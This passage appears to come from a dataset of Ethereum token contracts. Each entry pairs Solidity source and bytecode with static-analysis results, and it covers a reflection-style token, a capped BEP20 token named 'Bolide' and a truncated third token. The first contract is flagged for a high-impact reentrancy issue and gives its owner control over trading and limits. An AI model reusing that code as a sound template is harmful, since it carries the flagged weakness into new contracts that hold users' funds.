if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function FullSend() public onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x60806040526004361061014f5760003560e01c806370a08231116100b657806395d89b411161006f57806395d89b411461039a57806398a5c315146103c7578063a9059cbb146103e7578063bdd795ef14610407578063c3c8cd8014610437578063dd62ed3e1461044c57600080fd5b806370a0823114610306578063715018a614610326578063763a67af1461033b5780637d1db4a5146103505780638da5cb5b146103665780638f9a55c01461038457600080fd5b80632fd689e3116101085780632fd689e31461026a578063313ce567146102805780633cd7293a1461029c57806349bd5a5e146102b15780636d8aa8f8146102d15780636fc3eaec146102f157600080fd5b806306fdde031461015b578063095ea7b31461019a5780631694505e146101ca57806318160ddd1461020257806323b872dd146102285780632f9c45691461024857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600481526344696e6160e01b60208201525b60405161019191906115fb565b60405180910390f35b3480156101a657600080fd5b506101ba6101b536600461159b565b610492565b6040519015158152602001610191565b3480156101d657600080fd5b506013546101ea906001600160a01b031681565b6040516001600160a01b039091168152602001610191565b34801561020e57600080fd5b50683635c9adc5dea000005b604051908152602001610191565b34801561023457600080fd5b506101ba610243366004611525565b6104a9565b34801561025457600080fd5b50610268610263366004611566565b610512565b005b34801561027657600080fd5b5061021a60175481565b34801561028c57600080fd5b5060405160098152602001610191565b3480156102a857600080fd5b506102686105df565b3480156102bd57600080fd5b506014546101ea906001600160a01b031681565b3480156102dd57600080fd5b506102686102ec3660046115c7565b61061d565b3480156102fd57600080fd5b50610268610665565b34801561031257600080fd5b5061021a6103213660046114b2565b610692565b34801561033257600080fd5b506102686106b4565b34801561034757600080fd5b50610268610728565b34801561035c57600080fd5b5061021a60155481565b34801561037257600080fd5b506000546001600160a01b03166101ea565b34801561039057600080fd5b5061021a60165481565b3480156103a657600080fd5b5060408051808201909152600481526344494e4160e01b6020820152610184565b3480156103d357600080fd5b506102686103e23660046115e2565b610767565b3480156103f357600080fd5b506101ba61040236600461159b565b610796565b34801561041357600080fd5b506101ba6104223660046114b2565b60106020526000908152604090205460ff1681565b34801561044357600080fd5b506102686107a3565b34801561045857600080fd5b5061021a6104673660046114ec565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061049f3384846107d9565b5060015b92915050565b60006104b68484846108fd565b6105088433610503856040518060600160405280602881526020016117a8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d60565b6107d9565b5060019392505050565b6000546001600160a01b031633146105455760405162461bcd60e51b815260040161053c90611650565b60405180910390fd5b6001600160a01b03821660009081526010602052604090205460ff16151581151514156105b45760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000604482015260640161053c565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146106095760405162461bcd60e51b815260040161053c90611650565b683635c9adc5dea000006015819055601655565b6000546001600160a01b031633146106475760405162461bcd60e51b815260040161053c90611650565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461068557600080fd5b4761068f81610d9a565b50565b6001600160a01b0381166000908152600260205260408120546104a390610dd8565b6000546001600160a01b031633146106de5760405162461bcd60e51b815260040161053c90611650565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107525760405162461bcd60e51b815260040161053c90611650565b6014805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161053c90611650565b601755565b600061049f3384846108fd565b6012546001600160a01b0316336001600160a01b0316146107c357600080fd5b60006107ce30610692565b905061068f81610e5c565b6001600160a01b03831661083b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161053c565b6001600160a01b03821661089c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161053c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161053c565b6001600160a01b0382166109c35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161053c565b60008111610a255760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161053c565b6000546001600160a01b03848116911614801590610a5157506000546001600160a01b03838116911614155b15610c5a57601454600160a01b900460ff16610af5576001600160a01b03831660009081526010602052604090205460ff16610af55760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161053c565b601554811115610b475760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161053c565b6014546001600160a01b03838116911614610bcd5760165481610b6984610692565b610b7391906116f6565b1115610bcd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161053c565b6000610bd830610692565b601754601554919250821015908210610bf15760155491505b808015610c085750601454600160a81b900460ff16155b8015610c2257506014546001600160a01b03868116911614155b8015610c375750601454600160b01b900460ff165b15610c5757610c4582610e5c565b478015610c5557610c5547610d9a565b505b50505b6001600160a01b03831660009081526005602052604081205460ff1680610c9957506001600160a01b03831660009081526005602052604090205460ff165b80610ccb57506014546001600160a01b03858116911614801590610ccb57506014546001600160a01b03848116911614155b15610cd857506000610d4e565b6014546001600160a01b038581169116148015610d0357506013546001600160a01b03848116911614155b15610d13576000600c819055600d555b6014546001600160a01b038481169116148015610d3e57506013546001600160a01b03858116911614155b15610d4e576000600c819055600d555b610d5a84848484610fe5565b50505050565b60008184841115610d845760405162461bcd60e51b815260040161053c91906115fb565b506000610d91848661174f565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610dd4573d6000803e3d6000fd5b5050565b6000600654821115610e3f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161053c565b6000610e49611013565b9050610e558382611036565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea457610ea461177c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ef857600080fd5b505afa158015610f0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3091906114cf565b81600181518110610f4357610f4361177c565b6001600160a01b039283166020918202929092010152601354610f6991309116846107d9565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fa2908590600090869030904290600401611685565b600060405180830381600087803b158015610fbc57600080fd5b505af1158015610fd0573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80610ff257610ff2611078565b610ffd8484846110a6565b80610d5a57610d5a600e54600c55600f54600d55565b600080600061102061119d565b909250905061102f8282611036565b9250505090565b6000610e5583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111df565b600c541580156110885750600d54155b1561108f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806110b88761120d565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110ea908761126a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461111990866112ac565b6001600160a01b03891660009081526002602052604090205561113b8161130b565b6111458483611355565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161118a91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006111b98282611036565b8210156111d657505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836112005760405162461bcd60e51b815260040161053c91906115fb565b506000610d91848661170e565b600080600080600080600080600061122a8a600c54600d54611379565b925092509250600061123a611013565b9050600080600061124d8e8787876113ce565b919e509c509a509598509396509194505050505091939550919395565b6000610e5583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d60565b6000806112b983856116f6565b905083811015610e555760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161053c565b6000611315611013565b90506000611323838361141e565b3060009081526002602052604090205490915061134090826112ac565b30600090815260026020526040902055505050565b600654611362908361126a565b60065560075461137290826112ac565b6007555050565b6000808080611393606461138d898961141e565b90611036565b905060006113a6606461138d8a8961141e565b905060006113be826113b88b8661126a565b9061126a565b9992985090965090945050505050565b60008080806113dd888661141e565b905060006113eb888761141e565b905060006113f9888861141e565b9050600061140b826113b8868661126a565b939b939a50919850919650505050505050565b60008261142d575060006104a3565b60006114398385611730565b905082611446858361170e565b14610e555760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161053c565b803580151581146114ad57600080fd5b919050565b6000602082840312156114c457600080fd5b8135610e5581611792565b6000602082840312156114e157600080fd5b8151610e5581611792565b600080604083850312156114ff57600080fd5b823561150a81611792565b9150602083013561151a81611792565b809150509250929050565b60008060006060848603121561153a57600080fd5b833561154581611792565b9250602084013561155581611792565b929592945050506040919091013590565b6000806040838503121561157957600080fd5b823561158481611792565b91506115926020840161149d565b90509250929050565b600080604083850312156115ae57600080fd5b82356115b981611792565b946020939093013593505050565b6000602082840312156115d957600080fd5b610e558261149d565b6000602082840312156115f457600080fd5b5035919050565b600060208083528351808285015260005b818110156116285785810183015185820160400152820161160c565b8181111561163a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116d55784516001600160a01b0316835293830193918301916001016116b0565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561170957611709611766565b500190565b60008261172b57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561174a5761174a611766565b500290565b60008282101561176157611761611766565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461068f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fd0b6b66adbb2ce4ab72596005ff2d899d3119bbc41c9ed1a7145723ae4fa92464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,127 |
0x8A7aDc1B690E81c758F1BD0F72DFe27Ae6eC56A5
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Bolide is Context, IBEP20,Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 timestampCreated;
uint256 private immutable _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
_name = "Bolide";
_symbol = "BLID";
timestampCreated=block.timestamp;
}
function mint(address account, uint256 amount)
onlyOwner external
{
require(timestampCreated+1 days> block.timestamp,"Mint time was finished");
_mint(account,amount);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the name of the token.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public pure override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256 balance) {
return _balances[account];
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(_totalSupply + amount <= _cap, "ERC20Capped: cap exceeded");
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply-= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610276578063a457c2d71461027e578063a9059cbb14610291578063dd62ed3e146102a4578063f2fde38b146102dd57600080fd5b806370a08231146101fc578063715018a61461022557806379cc67901461022d578063893d20e8146102405780638da5cb5b1461026557600080fd5b8063313ce567116100f4578063313ce5671461018c578063355274ea1461019b57806339509351146101c157806340c10f19146101d457806342966c68146101e957600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016757806323b872dd14610179575b600080fd5b61012e6102f0565b60405161013b9190610d0f565b60405180910390f35b610157610152366004610d80565b610382565b604051901515815260200161013b565b6003545b60405190815260200161013b565b610157610187366004610daa565b610398565b6040516012815260200161013b565b7f0000000000000000000000000000000000000000204fce5e3e2502611000000061016b565b6101576101cf366004610d80565b610447565b6101e76101e2366004610d80565b610483565b005b6101e76101f7366004610de6565b610513565b61016b61020a366004610dff565b6001600160a01b031660009081526001602052604090205490565b6101e7610520565b6101e761023b366004610d80565b610556565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161013b565b6000546001600160a01b031661024d565b61012e6105dc565b61015761028c366004610d80565b6105eb565b61015761029f366004610d80565b610684565b61016b6102b2366004610e21565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101e76102eb366004610dff565b610691565b6060600480546102ff90610e54565b80601f016020809104026020016040519081016040528092919081815260200182805461032b90610e54565b80156103785780601f1061034d57610100808354040283529160200191610378565b820191906000526020600020905b81548152906001019060200180831161035b57829003601f168201915b5050505050905090565b600061038f338484610729565b50600192915050565b60006103a584848461084e565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561042f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61043c8533858403610729565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161038f91859061047e908690610ea5565b610729565b6000546001600160a01b031633146104ad5760405162461bcd60e51b815260040161042690610ebd565b42600654620151806104bf9190610ea5565b116105055760405162461bcd60e51b8152602060048201526016602482015275135a5b9d081d1a5b59481dd85cc8199a5b9a5cda195960521b6044820152606401610426565b61050f8282610a1d565b5050565b61051d3382610b79565b50565b6000546001600160a01b0316331461054a5760405162461bcd60e51b815260040161042690610ebd565b6105546000610cbf565b565b600061056283336102b2565b9050818110156105c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f77604482015263616e636560e01b6064820152608401610426565b6105cd8333848403610729565b6105d78383610b79565b505050565b6060600580546102ff90610e54565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561066d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610426565b61067a3385858403610729565b5060019392505050565b600061038f33848461084e565b6000546001600160a01b031633146106bb5760405162461bcd60e51b815260040161042690610ebd565b6001600160a01b0381166107205760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610426565b61051d81610cbf565b6001600160a01b03831661078b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610426565b6001600160a01b0382166107ec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610426565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108b25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610426565b6001600160a01b0382166109145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610426565b6001600160a01b0383166000908152600160205260409020548181101561098c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610426565b6001600160a01b038085166000908152600160205260408082208585039055918516815290812080548492906109c3908490610ea5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a0f91815260200190565b60405180910390a350505050565b7f0000000000000000000000000000000000000000204fce5e3e2502611000000081600354610a4c9190610ea5565b1115610a9a5760405162461bcd60e51b815260206004820152601960248201527f45524332304361707065643a20636170206578636565646564000000000000006044820152606401610426565b6001600160a01b038216610af05760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610426565b8060036000828254610b029190610ea5565b90915550506001600160a01b03821660009081526001602052604081208054839290610b2f908490610ea5565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216610bd95760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610426565b6001600160a01b03821660009081526001602052604090205481811015610c4d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610426565b6001600160a01b0383166000908152600160205260408120838303905560038054849290610c7c908490610ef2565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610841565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610d3c57858101830151858201604001528201610d20565b81811115610d4e576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d7b57600080fd5b919050565b60008060408385031215610d9357600080fd5b610d9c83610d64565b946020939093013593505050565b600080600060608486031215610dbf57600080fd5b610dc884610d64565b9250610dd660208501610d64565b9150604084013590509250925092565b600060208284031215610df857600080fd5b5035919050565b600060208284031215610e1157600080fd5b610e1a82610d64565b9392505050565b60008060408385031215610e3457600080fd5b610e3d83610d64565b9150610e4b60208401610d64565b90509250929050565b600181811c90821680610e6857607f821691505b60208210811415610e8957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610eb857610eb8610e8f565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082821015610f0457610f04610e8f565b50039056fea2646970667358221220a603d11bd96c0bac5a489140065fe7a19a7575ef890ce5404229013070358eed64736f6c634300080a0033
|
{"success": true, "error": null, "results": {}}
| 8,128 |
0x6a7aa0aa3234791d84e292d1279fc2484aff1cd2
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: UNLICENSED
//TG: CultElonOrganisation
//WEBSITE: cultelon.org
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
